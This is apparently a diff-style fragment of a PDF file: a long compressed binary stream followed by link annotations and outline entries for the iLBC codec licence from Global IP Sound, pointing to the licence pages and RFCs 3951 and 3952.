+;\xD8*\xA7\xAA\xDD5\x99\xB9\xB8\xFA\x89g;\xFA8juw\xB9\x83\xB6\xAC\xA0#JB\xB6[1\xB7[\x92\xAA/@y\xD5\xE13\xA3\x8AP\x89IV׮{\xD8		\xE2M6.72\xC8a4c\x86	\xD0\xF6\xF6\xD3\xF7\xF4&Tbpr\xB7\xE9\xE1\xF4h\x81\xF5paT\x82&\x97׏4ɘ\x99&\xD5	\x9A$\xD83M\xAAS4\x97i\xD2z9\x96\xF4P%:\xCDr\xB1\xE8\xB2\xC7\xEB\x8D7\xBBb\x98&\xA1,\xC8R\xC0\x9FM'3 \xEA\xC1\xA7\x90r}\xBFwc\xF7\xF3js\xCD\xEC\x86NP	\x9A\x88\xE1ê\xE4Q<P\xF7\x91\xBD4\xA9.:\x9FA\xDD\xE5\xE6\xF1\xEE\xF6\xD9w\x95<\xCC\xD2\xCC[\x93\x9A\x9E'\x91\x8Co&\xCE\xEE\xE3\xE35\xBC\xED\xD1]H\xB2\xC9Zc>\xF3\x97\xEF	\x85\x86\x97Q\xA2\xEFx3\x98Wm\xAD\x93ɻ\x94\xA5o\x9D\xED}D\xE3˴1\xB3
+\xF4%\x83\xDAފ|\x86
+\xB3Z\xE6\xF6\xFDt\xB4EG\xABꨀl(]\x93\x9B:ZO\x85|\xDEl\xD6\xEBq{3\xE15\xFF\x81\xD1\xFB\xE9;\x9E\xAA\\xE9\xB4k>f\x81\xAEh\xE5\xA3~\xFA\x8E`\xD1\xF4\xC1"\x83`P*\xE4\xE2\xE4^\xCF\xFB\xC9\xF7\xE9\xFB\xBE{\xCD\xFC\x81O\xB4W\xF2}\x9F\x98;px\xF4V\xBE\xEFs\xBCH\xEBpd\x86Y^\xD7\xE4qR\xF1\xC1\xF6\xFCQ#R#rDV,\x92YD}\xA0\xB6\x97\xE5	A\xEF\xC9Y0\xE2\xCDM\x9D\xA0⏢\xF7N\xA0\xE0v\xA7\xBB/\x8D\xD6\xF2\xD0ZV5\xE0Fk\xE9B)	\xDC)\xADezePHyBk\xD9
+\xDDl\xD9\xFD\xBEy\xEC\x86/[V#*\xF5)\xE6RL➄\xD2\xE5\xD9Cs6\x96\xC3F\xF6e:\x86\xF3\xDB\xD9\xD2\xD3\xCFUT\xA3ޓ5xw\x8F\x99'_\xE5\x86A\xB9\xF7\xC6y32\x8A\xC1\xCB\xF3\xEE\xF62Qk\xC2\xA3\xB8\xA3lώ\x88\xAA\xD7!6\x8F\xCD\x87\xA6J^>\xCBv\xCD(\xB2\x8C\xE7\xA1\xEFhJ@\x9Da\xB7\x8D.RȌm\xFA\xA8b\xF3l7\x84\x94$\xE8GA\x80@U(/@\x97*\xEC\x93L\xCD\xB6\xB4\xF2U;\xDE
+\xC4)e\xB2..\xBA\xAB\xBF\xF3~\xA0_\x9D\xB4n\xAA]JU\xA7\xE6\xF9F\xA07~\xA1\xACZhs\xCC\xC1&\xA9W\xDD{\xA1rZF\xFB\xE6\xE2W
+:\xB5\xC95\xA5qѽ\xBEx\xFF\x81i2ݘ\xF9O\x96\xC5Z\xA1*\xA2e\xE9\x9Bq9\x94\xAD|R:\xCF+ԬQM\xE7\xFC\xB6\xC0\xF7\x98:\xC1\x95\xBF\x94\xE2\xE2z\xC5\xF4\x84YV\x8A5\xEC\x8CR\xCC'9\xFE\xFC\xA8/\xF7\xDB\xCEe\xFE\xF6\x{DEEB}w~\xFD\xF1=kE(@;\x86_]\xFC\xF6\xCBeO\xC8`\xA0b \xF5ؽ\xBB뾌w\xE3vX\xFDu!\xA3\xA8\xDCZ[\xFB\xDERB\x97\x96\xAB|d\xCEg\x85:\xA4\xB3F=\xA7󀪲\xA9ղ\xF0\xB6\xCF\xF4(\xE9\xFD\xEAs|\xF8DUS6\xED\xAA\xB8\xFA,\xAB\xC3g\xC7\xED\xCB\xF3\x88\xE9\x9EJ\xCA_\xB2\x92Z\xB8\xC4YὬ\xABW\xB5\x80\xEC
+\xFF\xBC:\xDE\xC0ZL\xD0`\xABxS	\xCB\xC7\xFD\xF9k\x87wV\xB8\xC01n^.\xC0\xA5\xE3\xD77Ϻ\x91
+\x80\xEE\x95\xF3\xC9@\x93\xF2\xB9x[]xo\xC2#\xAF\xC7m\x8EP
+
+t\xBC\x89)\x97ǎg*:IYS吿\xD7\x94\xF4\xC7\xE5RÄ0\xB9\xC7\xEC\xA9\xD8r\xC69r\xB5\x85Xx#]]\x804\xA8\xF1\xD0F\xBBc\x92\xBB{^Oh\xB6\xE2\x8D\xF6\xC7\xD3jiEdﰺ\xE5Uԏ\xB2\xFE\xF8\xFC<y1\x9FQ\xE9\xE6x\xB3i\xF9\xCFCbͦt\xBC]\xCF˶O:\xF9\xAA\xFEN7>,M\x9E\xF1\xD0ف:q\xBDj}\xC2\xEC[?4\xBD_\xC3\xBD\xDA\xE6\xD7\xBA\xF9m~!\xE9E
+\xF0
+H\x92\xE8\xE3\x83\xC1\xE2n\xF4h\xD6\x83\xCB\xE0\xD5\xF4n;\x88\xF2P\x9E\x9CP\xC3n\xE4Q\Z\xB6&`71E\x8D\xF2E;3\xEC\x9EQ\xF0!\xC6\x89Y\xCB\xE9\xEC\xF06\xCE\xC9˕\xBA\xE2\xAE
+}N&\x97\x9E\xD6%N+AB\xA6\x89\x89P\xE8w\xB0\xEAcRV^\x9Ey\xC2\xD8y\xFC9j\xD5>z\xA28\xC63\x97\xB2\x85St\xD0t3rw\x96\x9A\x85\xFE\x91\xB4&&\xA0\xA0
+E9Y\x81\xD3\x9A
+\\xE2\xE5\xFD9\xC8\xFB\xA8e\xB2)`
+\xE6h\x9E\xB0\xA90=Д\xE2\x83l!\xE2\xE4\xA1\xEB>o(p\xB5F\xCEI \xCBZ}?/\x89:dW\xA9$\xEF\xF5\xEFaMEm]B\xA8A\xC9\xA0\xBCZ\x8F\xE2\xB1!\xCB_u;\xA6T\xED<\x89\xF8\xFE<N,\xA4\x9E\x82Η\xEF\xC4I\xC3\xD4t\xA9\xED\xDDG\x811X\xE4\x81\xDBQXT\xA7\y%\x819:\xA7MoNd\xAD\xBFRv\xB2\x9B\xA1\xB5\xE5\xDD\xE81\xC4dF9\xCA*zb\x90/l\xE1\xE5cvB\xC9*XY\x8F\xE4\xFB\x8A\xE9\xD0>7\x97z\xFD\xA6#Rq\xE8\x92~\x92E6\xDEl\x97@\x9E\xDEey*g"E\x8Codcr&0A\x9D
+\xAA\xE1כ\x81\xEA\xC2Cj\x9A\xCD\xF8\xFE|\xE7 \xDBd\xF5\xC8\xFB{\xF0T667|͠9\xE6dǵ3T\x99\xBBvhq\xBD\x9A\xE1\x84Y\xB6C5\xEC\x8C\x82\xA6\xA2\xAEj?t\x98Ŷ\x99\xC5EхCJ\xBE\x8Eۧnz\xFF\xFA\xCD\xE3\xD28\xDEv\xF7\xD5)\x86_\x82\xAD\xE2/YǢ\xBCWe\xA6h3ܾ\xDAK[I\xA3\xF7\xF7+\x96\xAB\xBA`\x99\x8D\xCA\xE6 7"Y=\xABZ\xE8
+-O\x93\xC3\xD1$w:\xA1=TR\xE6d\x84\xDD'\xCCŷ#+R(\x9Cm\xC0\x9B'\x9E$	\xAB>8\x89\xEFv\xD8\xD5u\xEBLJݜ\x999u̇\xAD\xD3a
+\xFA\xAE\x813\xE9\xB0(\xF7\xE8tq\xCB\xE9\xB06\xF4u(s\xB6\xBE_=1\xE3C\xCF۹\xF7	\xD7}\x9Bv\xF04\x82\x80\x8Eɔ\xC9L\xC8\xDDcG\xE9\xB5\xD0\xC9P\x95Zny\xBF\x9An\x86\xEB\xF3+$\xBDZ<v\xEF.\xF6\xD9\xDA+\xD4R݊\xAA\xC7\xD9T\xCCHs\xF9\xAB\x9F\x98.s\xC9W\x94\x95\xC1\xCC\xEB\x8B3ͥ/w\xC3\xDD\x{DC3D}\xFD\xCB\xEDv\xF8\xBC{\xD5\xE1WW">\xCDx>\xCB}\xAC`\xCA\xFFk\xE28\xA9\xB8\x83`{\xFA\xA8\x91\xFA8"k\xB1\xCC \xFFW\x87
+ѩ\x87d.逌Y\xBBn󙒧q\x95B
+,9\xBAf%g\xD6\xCD5jbD\xECS\x80\xAA\xA6}\xE1Kh\xD6\xD1,\xF0=<\x9A2\xCA\xD2\xDBqXwk\xF6\xE8W\x95rH5\xF0\xA9\xBB\xDBЁs\xCA\xEBc\x8Db\xF9\xABr\xEF\x93̈́\xB8\xBB5\x8F(\x83v\xB4(D\xB3\xBDA-\xA7"]\xE8\xF3$\xAA7}B)ս\xF0f\x8D\x9D3\xE8qt	Ǻ\xA7\xE9+x\xC4\xCE\xE5d]\x83m\xAB\xBDx}\xC6\xE7.\xAEWuN\x98e\x9F[\xC3\xCE\xF9\\xF7\xBF|nmq!\xD6=6\xCB'-\xEE<W\xBE\xB4\x857\xB2+\xE8\xF3\xDF7\x8F\xDD@Z\x9E\xD9Bȑ;\x82\xDB\xFB2H	\xD4\xDD\xF3^\xD6\xF4\xF0D)\xD8\xE6\xEBt\xCB-\x94\x90X\x9DΟ\x89"r\x90\xDBQ\x80nQ\xFD\xDC֘}6e+O\xFDƠw\x9B\x9A0E\xB7\xE1H\xA3\x93\x83,\xDF512&\x97P\xEA\xFCi\xF5r\xE0\xDD\xEEI6\xB7CWHX\xD3\xDFQ\xC7&<\xB6s\xBDb
+q\x8A\x9D\xEF\xEF\xE7\xB1\xFC\M\x87br\xC8iݠΖ\xB2gC/\xAA\xC5\xCF\xFCI\xE6+$0A^\xE4\x95$\x91\x98\x94\x95!ͳmX\xAD\xBA\xD54\O\xAB\x89\xB3e5\xA6z@מ˖E[B;:\x99\xD2须\x9D\x84\x8AI=\n\xB7\xA65\xFB[\x825\xC9\xCBҡ\xBA\xB7\xA1\x88\xBFh\xE5\xB9}\xE3YSl2(\x98\xB0\xE5Or\xAFu.f\xB7\xFD\xB0\xA1E\x94T\x8F۞\xE6ą\xC5#!V\x80E6<b\xCEQ\xA1\xFFT\xE8R\xA9ߓ<8n\xD8\xAEY\xD0`\xF5)8\x90ڰh{\xE5\xA1\xED+\x84p\xC3 @\xC2\xF0D7\xA8ީX#X\xE4a|\xEAc\xB6\xE3\x97\xE9AR\xA3
+\x96o\xB3\xB7Ps\xC3[\xDB\xE0\x93\xAEab\xA7X\xAE"\xC7%9[(J\xECj\x92\x8C\xE8}ʴ\xC9\xCDx\xC7<\xE6&\x98\xE5\xE4d\xA81\xF6*\xC4\xC8\xFC\x85\xB6\x85@Y\xBE\xACQ\xE8٘\x82\xADE\xFD:\x83\xA1\xFB\xF9\xC7h,e\xEE\xE3%S
+\xCE\xD3u\xBB{IN\xC9XE\xB7a\xF4\xA1\xC5\xDAdb/\x8A
+T\xi6vť\xA8\x98k\xEFR^\xD1*.\x90\xA4\xB4}\xB6\xBC@\x8Dy\xEAn6\xEB5\xF3"H,:K\xF9\x83/\x95\xB6\xCE\xFB\xC8E31\xC2\xF5
+\xBE\xCF׈\xA1!U \xE8\x9CU'<\xAD\xF5Pv:\xF0K\xAD\x98*1\xF9m\xEAK\xC9A\x8F\xA0qc\xA2\xBB\xF0\xC0\x88jރ\xEE\xB2\xE6
+\xB7\xF9ɦd\x9B\xFA\xA3 \xFE\xCBy\xB54\xB7q\xA3\xC1\xBF\x82\xE3nE
+ހsY\xC7\xEB\xA4\\xEBʺ"gO\xBEP\xE4H\x9A
+Mj\x87#;\xFE\xF7i\x80"\x899k\xA9r\xC4߫\xBFn\x8Ey\xA7x\xA7;B/\xE6\x85Zw\xFD1]٨\xFC\xAF	ƞ\xFC\xBD m\xC2L\xF3v	;G\xDDn\x92\xBA3\xFF\xCEE\x96\xB6\x8C8\x91x\xEE\xE8tl\x8A\xF6؇\x9E:'*M!(\xAB\xC3|뭮0+\xE6	:H\xD9\xE5sDD\xDD\xD8U\xB2~Z\xE5]\xDA\xBE\xBE\x90\x9Dƚ\xD0޸
+\xF4\x95A 2\x80d}RO\xBD-
+\xC4\xF4\x9B\xB3b[(L\xE2\x{DC92}\xD20\xE5\xEB+9B\x93U\x99	t7\xAC\x89$\xA4\x99\xC3݆S\x87\xED\xFA\xF6\xFA\xE6q\xB6:t\x8A\xDFuJ:B
+\xB1\x99\xAFN\xEC{s4 2\xB5bu\xCF\xC38>\xBE\xBE\xBE\xFE\xF6\xED[s\xBF\\xDFΖ\xFD\xE3f\xFD\xB4Z4\xF3<\xF9\xF9$U
+\x85\xE9U6\xBA:\x93_\xAE\x97\xDD\xFDly\xBD\xEC\xB1\xD06\xDD\xE6\xBA_\xDE\xCE\xCB v\xB7\xCB\xEB8\x87\xAD\x93\xA6j\x9F\xC7\xE9hBe{"\xCAW\x85\xACI\xFF\xC4P\x91~C\xDF\xE7\xF8\x9D?\x8A\x8A\xD2"5)M\x86
+\xCCj*\x81\xD4Q\xC5S5\xC5/9o\xE2\xFDGq\x932'\xDE=
+\xEBǎ\xBA\xC1\x9B\x80\xAB\xB3\xFF槫	\x82\x8F\x9F\xDC̖\x80\xC0\xAA*\xFD\xBD\xE4\xA8s\x90\x82\xA6\x96i\xAABDn\x99\x8A\x90eq\xE2I\xB2\xDAV\xE4\xE0x0n[9\xB8\x90-1\xD6\xCA-a>6\xF7\xB3\x91׫\x94\xAE\x89*\xA9\u\xC5\xA6)\xA4DP7\xEF^\xE1k\xE1\xF4\x95\xB8\xD7\xF3?\xD6\xCB}\x9Bݫ۰d\xB7[\xE3p\xCE|\xFF\xAD[t+\xBE3锶q\x95\xD8\x90\xEA\xECjX"\xE0OVF:\xB5\xF1\xB7\xD4W˶\xB5\xD1\x8A\xF6\xC5\xC2\xDBS[4\x85\x87\x85\xC1\xB7H\x8F\xBF[E\xAFc\xB7\xBCx;!\x93\xDB\xF4\xD2\xF9\xE9\xF7lf\xD2-G\xD1'\xD0ڴN\xCA\xE0\xF7\x95\xD8\xE5ib=\x96B\x8C\x9A?\xC30\x91\x87\xFCU\xCEz*\xBC\xB8\x9B\xFD\x89\xC90\x914w:Y7I\xAF\xAD&\x96\xE0Q7Q\xEE\xA94\xD2\xEFW\xF3fjR\xC13\xF60\x82\x81F\xF4\xE4o\xC5l\xEE\xDF\xCDe8\xCAd?\x90\xC7T\xA9\xDAi\xD7W\xA3\xAA\x87ݜ&1ƶ\xFF\xEAf\xCFa\x8F1\x8B%\xF2;Oj\x92
+P\x85%B\x90\xFA\x97J\xE2\x{DAA5}\xEB*'\x87\xA4G\xE8\xC11t\xDDx%\xEC\xF4OŬ\xD4~\xF3\xB9|\xD6MJ\xB9\xCD\xCBFB\xE7\xE5\x87<\xD0
+EJ\xD5tJ\xFD\xBE}-1\x89\xB4\xB2I\xA6\xACH\xC5\xCF\xCB\xF5z\x97T\xDB&ec\x87\xD9j\xDEo\xE6lG$Ik(\xC1Wl\xC0R\x{363468A}\xB3\xDE2_Du$\xE15\x93B\xD2!\xCB\xFE\x8E\xB9\xAFm\[\x96\x98\xF5\xB0\xEAg"\xA9\xF5++\xB3NjZk	o\xC4\xEF7o\x98S\xB5N]\x96\xF5\xC4\xF7^"\x99R0p\xADi\xE5\xAC\xD1\xCC:z1;\x9C\xA2\xB3=\xD4
+\x8CD\xA6;\x9Aul\x99\xD0Ÿ\xD5\xF7\xD6\xFC!\xA5\xF6\x94\xFF\xA4\xDF\xF3\xB1\xDE\xD6`\xB2\xE7\xA5\xDBj\x91\x9B\xB8e\xE4\x89ɲ\xB8\xA2\x81\xB37A@(\xE4\xD4VJMH\x85s\x90\x82\x8EvV*\x94\xC8\xF3RA\xE9\xE9I\x9AXɉ\x9BБ\xAD܍\xE9\xA6[-\xFAս\x98\xE1\xF4\xFF=\xD5n\xC3*\x97ڂ\xBE\xE86\xA3i\x92\xA4эwm\x9AB\x9E\xDAʼ(\xB4i\xFE\x91\x9EX?\xA4_ݭ\xFFQ+\xEB/\xA4\x8Bw\x9Fa\xBE\xB20\x84\x8D\x85EbO\xE7Ӿ\xA4\x8B3\xD9k\xD2\xEC{}\xAB\x85\xE9q\x8D\x98h)m\x9A\x90[b\xDB/\xC3\xFA\xDCO\x93\xBF\xCDD\x98\xDCL%l\xDFI%l\xDBIX\xB6\xFB\xBF\xDA>n#\xC5\xFA\xE9\x81%9d\xC4n\x81\x99?
+CWiQp\xBA\x8B\xC9`\xBC\xBE\xA0\xBF\\x94\x8A\xEF +d\xE2\xE8\xE4]\xDD\xC6\x828Ћ\x86\x88\x85B\x9E
+\x8B\x8D\x98\xA3/\xE9\x8Bڴ:Q\xC8\xE1\x8B\xD9r\xB3\xB7\x9D\xB8\xCB>\x842\xC2I)\x99\x8D\xE7\x9A\xFF2\x97\xA9\x8E\\xA6\x82D\xDCrCqUa3\xFBn\xA4Ţ[>\x8D\x8Abo\xD6\xC3\xFD\xF5p7\xC7\xF5\xB2\xB0\xD1\xCA\xE4\x9C*\xCA!\x9D\xA5\xDBu\xC4j\xFF\xCBh\xCBg\xDA\xB7\xA7\xA8\xDC\xFE\x93\xA3\xF7\xA2%=/ouoe\x97<.\x9F6\xE7J/*\x81\x8FG5\xD0Q5!\Xc\xB0\xB8\xBCQ\xEADx\xC1ak\x81Y\xA6\x93o\xBC\xC1^3\x86\x9A\xB2>% 
+\xDE\xC70}J\xF0
+\xCD\xE3\x8B\xAA\xBA\x84\xFB(/\xAC\x9Fn/\xA9F
+\xE9\xCCV
+\xADH\xAA\x85\x8FjCj\xF92ObG,\xC7,\x9Avә\xA5<\xF5s\xC1\xA1{\xC8\xD9e\xBCC\x9D_\xC4zZ1OJ\xDAT\xE8\xA4g\xFDѯ\xFA\xB1\x87oZt_\xBB\xE5\xFA\xB1#\xAB%!D\x83l\xBD.\xBF`ʂ\x98j!e\x89X߉	\xFC\xF7\xD0\xDF\xF7̼\xA3\xBC\xA2\xE0r\x92\xB62\x82;\xA4\xB7\x86\x8E\l\x92K\x88\xF7\xC8M\xC1\xDDؼ	\xCB7\xD9\xB2z\xB6\xD0\xC6!\x89uz\xCC#\xCBc\xEB,w\xB3ޙG\xF11\x8B\x91\xB3\xFCТ\xA0.\xB7\xD7\xE1\x84a\xEC׫\x8Dx\xBB~\xACIN)\xA8\xE6\xFA\x9D\xBE	\xC6K\x87\xF5\xF7\xAC\xA9!-[	\xB1Q\x80F\xF1\xF9o\xAC\xAA\xF1T\xA5\xF8-#\xD0\xCF*R\xE4\x9F\xFF.Rn_\xA1\xED\x95x\xB3\\x8Aߪ˓\x93&RZǍ\xF8\xAD\xDBt\xC3W\xA6\x83\xD8@\xF8\xD3#\xBBŤtAY\xA5>#]&/Ǝ0\xD3ҥ\x84\x9D\x91.\xFA\xB4\x97,g\xAC\xC5\xEC\xECMi\xFF᧷\xA2\xDFP\x9F\xA0\xB4v\x82\x98Q0z\xDA$J$\xD88\xCC\xAC6\xAC\x9Cu\xB2\xC2u_f\xC3\xF9K֫\x95\x88+\xB7\xB0\xA2\xF5\xE1ye\x83 \x9C\xAB\x87\xE6Ihr#=F\x99Ī\xD6\xD7\xE7\xF6\x8A\x8Dk\xF3\x9Ch3\xFD\xEDS\x9AB\x83n\x90\xA6\x8EI\x9B'\x9An\xDD\xFAF*j\xE8wӚT\xDBn\\xA5\xE4y\x8D\xA9;\xA0\xB4\xAB,\xCEk\xEB\xA1UD\xF5b\x92\x88\xFC\x9E\x91\xC7Q\xF4\x91tu&:񡟳,\xD5\xE8w\xA5\x8D\xA9O\xDC0\xEDZ>*\xF3\x8FFd\x98wb~ %\xB5gI
+\xD2@\xFFz\xD5\xEA:\xF1T\xC24\x98r\xCB\|\x81,c\xC8"\x98\x93\xC0 \x85Y\x97Gq}y\x82\x9F\xEBW\xF3\xE5\xB8}|@]\x8FHJs\x9Att)\xE1{\xBF\xDB\xF3\xCCLj\xFC\xE3v\xCEi=C\x80\xE4\xC4a\xC4/GX\xC3\x9F\\xC0\x81U\xE4rw!g\x8A\xE3\xCB\xB5\xF1\xC0O\xE7b,QE\xFEĥ\x8B\xD4\xFA\xC6\xF9C\xF2e\xDEjG\xB9\x9D\x84\x94a\x96\xB0f\x85,߶Gn\xA9\x98\x90%\xEB\x8C䫭V\xA8u\x90\x86n\xDD\x98\xF2=\xB5\xADGf\xC0\xE6a\xF6\x95-'\xEAa\x9D\xD35n\xE8f\x9F'@\x91ݰ\xD7\xEB\xC5U\xFE\xBE$i\xAB"+>\xBB\xBA\xEE\x99q\xB6\x92\xC7\xEEg\x99\xF4\xABRP
+.
+8p\x95\xD8\xC8rNٔ\xC9\xE0k\xF0ytV M~\xFE|\xBDZ@0\xAEk\xBE
+!\x80O\xF8f7	]P}\xF7F<\xAB\xC5\xE7\xFD\xF4yi\xE7aGRY\xAB\xE2}\xDC\xEE#\x917-\xF3\xC4\xAE\xD5\x9Fn\x97\xFD\x9C\xA1HPtn\x81\xA1\x99\xAB7\x9D\xA84\x8C\xC5\xC6
+u@\x8A01dh뻛\xF6J\xBC\xF7\xE9\xE7}\xB8IA\xEFV\x92\xAE\xBBԫ\xE6
+\xFFJ\x9F\xFE\xED\x84\xDDx%>P#\xC1"X뭯\xD0=\x83 \xD6}o0\x88\xEA/\xC1\xE9-\xD6lu\xCE\xD81(B8\x98+\xD8\xAA\x96O\xB3\xE8\xCF\xE8\xAC={\xA5\x83¾\xAEC\xE5+\xAC\xA0\x8F\xBA\x8Ep\x98þ\xB0\xA8\xC1i.\xC8\xFAm\xE2\xF7M\xB5[J1\xCC \xED3\x83\xE4\xA2P=$z=\xF9I
+\xEF
+F3v\xEB
+\xFA\xFB\xD5l|\xBAד7\xD8I\x8E\x92\x89\x98\xE6BɴL٬\xA5\x929(e\x93\xEF\xD3(^\xB1aO\xDD\xE2\xCE\xEAR݂\xAEt\xF5q\xFF\xE4QE\x9BXH\xA1
+4c$\x9E3\x89\xF842(\xF9=\x99\xBA\x92@TX
+\xB3QU\x81^3rD&\x9Fua\xFC\xF9<\x98\x8F\x99ȅDž\xE9\xE2\xC5<\xB9IR%uz\xB2U\xB4\xC4p\xA6\xAC\xA7;~\x9DQ\xF3\xC3	\xC1\x8E\xC9E)\x8A\xBA\xD1QUa(C\xD1B_\xB4\xB0\xB4\x8C\x99\x8C(\x9EMP\xEE;\xDF\xEAx\xE1q\xA6}\xB9\xEF<\xD4vuܧ~\7\x8C\x83\xAA>\x93\x8Dm\xC3D\xA3ϥc\xDB0\xC1\xD57N /h\x98\xD8\xD6%\xA0\xE3$v\˜\xC6\xDB,X"\xFE@\xF2*+
+{d\xB3\xB2a\xA8եکE\x8E9m9\xB7\xF2@>\xAF]8\xEAA\xA4\xB5}\x96R\xE9͠\xE8\xC7-gL\xA2\xB3\x89\xF9\x9DA\xAE\x89\xDAB\xC73h2\xA3\xA7Eu\x98\xB5\xEE\xE2\xE3\xCC\xCBf\xAD\xAA\x8F{s\xCCl*\x89-jf\xB3V\x82\xAFρ`jZ\x9B\xC4\x83Y\xACR\x97\x95@U7Ǵo\x8D\xAB@l\xFB4\xBA\xC3\xC8\xFAIƥ\x83l
+ⱀ\xB5PD\xF1Ҭ\x9F\xDEZ4J\xF9:
+'\xC7c.\x99\x898\xBD\xEB\xF2<\xF8\xED8H\x8A?\xCE=\xF8\xD0O\x95\xEA\xD7\xC1\xA2AC\xFB\x8B\xF1\xAAij\x86\x82Ew\x88"\xEB[\x9CJ:\x942ә2\xA57\xCA\xC1$&dl\x86\x98\x96\xFE\xFB\xAE\xE4\x90\xF8	\xC7p\xC9!\xB3\x92\x9E\xE4}\xBB\xFB|\x8C\xB3*\xC3!C\xDA\xF3\xC13\xBAbs\xF0`,\xC5<U\x97\\xCCC\xE6>A\xA0\xFC9\xA4\xA1\xBD\x8BѩpRf\xA0L`!>V4\x9D\x81h܈\xBB|\x83\xC6\xFD\xE8v\xC3FLT@\x99W\xF7\xA5|9\xCC\xF4\xB8v\xCA/M\xFEt\x83\xD0K)\xEEwk\x8F\xE2{܎\xE2{\\xAF63l\xABiL\xD0\xDB؁\8n=\xA9mb\xB1g4rh\xAE\xAC\xC4lKA$\xDFycQ$\xC1\x90y\xC3M\xC0xf2iD--FN\x8Ay]\x8C\x88\x8D@0\x87>\x98\xB7\xEA\xCEX\x84\xCE\xDF\xE0\xE0vþJ\x8DE\x88o7n{\x9D\xC6\xF6\xDAr	\x81\x98\x89-\xEF҉B\xDFa԰\x8Dv\xA2v3\xA8`*\xB7]깨۪^T*\xA9VDY\xDC\xE3\xCCE{\xE8N
+\xEA\xA4V\xD2\xF1!\xCCk\xC5o\xCB5\x83s
+=B`|\xEBM\xB0T\x9BL\xC2\xCB\xC1\xF4"s\xB9\xAE\xCAM\xC56(\x9D\xB5
+\xA33\xA3A\xF1=IV\x9C\xAF\x9B\xDBr\xCD..\xD9U\xF3\x8CUg\xCFO\xCDc\xC5Ng\xC7i\xB5\xD8\xAF\xFA\xC7\xCB ڱ\xBD\xFA{\xFDB"]\x97\xF5b\xB3,۲F\x9A;fWg\x93\x8FaU\xBF{<h?k9\xD0-\x91t\x8D\xA8
+\xA7\xB2\x92\xE7+
+\xF03C1\xBF\xEF\x9B\xF56$P\xDDH\xB9\xEC\xCD\xFE\x8C\xD5\\xC3\xEE%\xC5T\x8B\xAA\xEE\xDE#\x8ECb\xF7Q$}\xA9\xB9\x97\xF8\x97I\xE18\xDE_\}\xA4-\x8F\x99\xC4p\xD3?+6\x88TB\xE7pN@Np\x83CR\xE0\xC1yˑR
+\x9D\xE1AΜt\xF9\x81\xAC\xAD\xD6ǻ\xEB	\xBD\xBB]\x855\xA8é\xA1\xDBѸ\x87w6
+)}\xE4^
+(\x94B\xA5\xA0\xF4J<\xDE.\xB8\x93\xD8ӿ9\x9Cݕ/\xA9\xF2I/\x91ob|\xAD!B&LT\xF9\xFA\xAE\xF9D0=&\xB8\xB8\xCC_Y\x98z((5\xD1\xEAq[(\xBB\xA6\xE3\xCE[\xAF\xB2\x84\xC3JC}\x84\xAD(\xA8\xA1 \x8Bg\xF1\xE4\xA1wy\xB9\x97
+\xF2\xE1\xC0
+\x8E8,\xA2\xD88V\xBA\xED\xDCж\xF5	\xFBєO\xECk\xB9\xA4U\x91':_AS\xBD2\xDCi6QоQ\xA05\xAFLr\xB4OгEWY+\x84馶\xF9	;\xBF\xB8\xBCbߪe\x99\x9B`E\x80\xB5V\xA9\x98c%\xE6\x8AL<\xA1\xEA\xA2Э{\xE6U\xB0\xA3\x82\xB6\x96҈2!j\xE0i\x8Ds\xD4)O\x9F\xDA\xD5]9o\xA3\xC4\xFF\xFC5\x9D^\x96\xCBU]\xB6\xAB\xA6f\xD3٬ya\xD7x6\x84\x8Db\xAE #F\xB4\xB0ձ\x9B)\xBEN9\xBF\xAF\xECz:kڶy`7[\x9B\x98~\xFF\xCC`\x82\xF5LC\xF6Mc\xDF6]\xC1\xB2x\x9A\x8C擨\xBF\xBE\x9DO\xFEH1\xC1(%\x91u͜ԟ~\xFE0b\xB83T
+endstream
+endobj
+26 0 obj<</H/I/Type/Annot/Rect[106.5 194.096939 295.455353 205.923035]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 27 0 R/StructParent 8>>
+endobj
+27 0 obj<</URI(http://www.globalipsound.com/legal/licenses/ilbcfreeware)/S/URI>>
+endobj
+28 0 obj<</URI(http://www.globalipsound.com/legal/licenses/ilbc)/S/URI>>
+endobj
+29 0 obj<</URI(http://www.ietf.org/rfc/rfc3952.txt)/S/URI>>
+endobj
+30 0 obj<</H/I/Type/Annot/Rect[181.199997 470.276917 360.295135 482.103027]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 28 0 R/StructParent 12>>
+endobj
+31 0 obj<</H/I/Type/Annot/Rect[145.979996 439.256927 237.597595 451.083008]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 34 0 R/StructParent 13>>
+endobj
+32 0 obj<</H/I/Type/Annot/Rect[249.179993 423.896942 373.384888 435.723022]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 35 0 R/StructParent 14>>
+endobj
+33 0 obj<</H/I/Type/Annot/Rect[392.880005 423.896942 517.150879 435.723022]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 29 0 R/StructParent 15>>
+endobj
+34 0 obj<</URI(mailto:info@globalipsound.com)/S/URI>>
+endobj
+35 0 obj<</URI(http://www.ietf.org/rfc/rfc3951.txt)/S/URI>>
+endobj
+36 0 obj<</Count 59/First 37 0 R/Last 38 0 R>>
+endobj
+37 0 obj<</Parent 36 0 R/Dest[465 0 R/XYZ 0 635 null]/Next 62 0 R/Title(\xFE\xFFCommercialization is permitted with certain limitations; for)>>
+endobj
+38 0 obj<</Count 14/Parent 36 0 R/Dest[19 0 R/XYZ 0 607 null]/First 39 0 R/Last 40 0 R/Prev 41 0 R/Title(\xFE\xFFMiscellaneous.)>>
+endobj
+39 0 obj<</Parent 38 0 R/Dest[19 0 R/XYZ 0 592 null]/Next 95 0 R/Title(\xFE\xFFRelationship. This License may not be construed as creating )>>
+endobj
+40 0 obj<</Parent 38 0 R/Dest[23 0 R/XYZ 0 404 null]/Prev 84 0 R/Title(\xFE\xFFiLBC is a trademark of Global IP Sound. All redistribution i)>>
+endobj
+41 0 obj<</Parent 36 0 R/Dest[19 0 R/XYZ 0 679 null]/Next 38 0 R/Prev 42 0 R/Title(\xFE\xFFU.S. Government End Users.)>>
+endobj
+42 0 obj<</Count 3/Parent 36 0 R/Dest[9 0 R/XYZ 0 242 null]/First 43 0 R/Last 44 0 R/Next 41 0 R/Prev 45 0 R/Title(\xFE\xFFTermination.)>>
+endobj
+43 0 obj<</Parent 42 0 R/Dest[9 0 R/XYZ 0 227 null]/Next 83 0 R/Title(\xFE\xFFThis License terminates automatically if You fail to comply )>>
+endobj
